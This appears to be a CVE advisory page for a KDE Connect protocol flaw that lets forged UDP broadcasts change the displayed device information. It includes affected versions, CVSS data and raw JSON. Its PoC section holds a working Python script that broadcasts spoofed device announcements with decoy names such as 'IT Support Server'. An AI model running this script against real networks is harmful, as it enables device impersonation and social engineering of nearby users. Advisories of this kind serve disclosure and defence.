Security Vulnerability Report
中文
CVE-2025-32900 CVSS 4.3 MEDIUM

CVE-2025-32900

Published: 2025-12-05 06:16:09
Last Modified: 2026-04-15 00:35:42

Description

In the KDE Connect information-exchange protocol before 2025-04-18, a packet can be crafted to temporarily change the displayed information about a device, because broadcast UDP is used. This affects KDE Connect before 1.33.0 on Android, KDE Connect before 25.04 on desktop, KDE Connect before 0.5 on iOS, Valent before 1.0.0.alpha.47, and GSConnect before 59.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

KDE Connect Android < 1.33.0
KDE Connect Desktop < 25.04
KDE Connect iOS < 0.5
Valent < 1.0.0.alpha.47
GSConnect < 59

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-32900 PoC - KDE Connect Device Information Spoofing # Attackers can craft malicious UDP broadcast packets to falsify device information import socket import struct import json import time import uuid def create_kde_connect_packet(device_id, device_name, device_type='desktop'): """Craft a KDE Connect device announcement packet""" # KDE Connect protocol packet structure packet = { 'id': str(uuid.uuid4()), 'type': 'device', 'action': 'request', # or 'present' for broadcast 'body': { 'deviceId': device_id, 'deviceName': device_name, 'deviceType': device_type, 'protocolVersion': 7, 'tcpPort': 1716, 'tcpSupports': True } } return json.dumps(packet).encode('utf-8') def send_spoofed_device_broadcast(spoofed_name='Malicious Device', spoofed_type='desktop', broadcast_addr='255.255.255.255', port=1714): """Send spoofed KDE Connect device announcement via UDP broadcast""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Generate random device ID for spoofing fake_device_id = str(uuid.uuid4()) # Craft the malicious packet packet = create_kde_connect_packet(fake_device_id, spoofed_name, spoofed_type) try: sock.sendto(packet, (broadcast_addr, port)) print(f"[+] Sent spoofed device packet: {spoofed_name}") print(f"[+] Device ID: {fake_device_id}") print(f"[+] Target: {broadcast_addr}:{port}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == '__main__': print("=== CVE-2025-32900 KDE Connect Device Spoofing PoC ===") print("This PoC demonstrates how attackers can spoof device information") print("via broadcast UDP without authentication.\n") # Send multiple spoofed devices spoofed_devices = [ ('IT Support Server', 'desktop'), ('Security Scanner', 'desktop'), ('System Administrator', 'desktop') ] for name, dtype in spoofed_devices: send_spoofed_device_broadcast(name, dtype) time.sleep(1) print("\n[!] Attack completed - devices should now appear in victim KDE Connect")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32900", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:08.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the KDE Connect information-exchange protocol before 2025-04-18, a packet can be crafted to temporarily change the displayed information about a device, because broadcast UDP is used. This affects KDE Connect before 1.33.0 on Android, KDE Connect before 25.04 on desktop, KDE Connect before 0.5 on iOS, Valent before 1.0.0.alpha.47, and GSConnect before 59."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-348"}]}], "references": [{"url": "https://kde.org/info/security/advisory-20250418-2.txt", "source": "[email protected]"}, {"url": "https://kdeconnect.kde.org", "source": "[email protected]"}]}}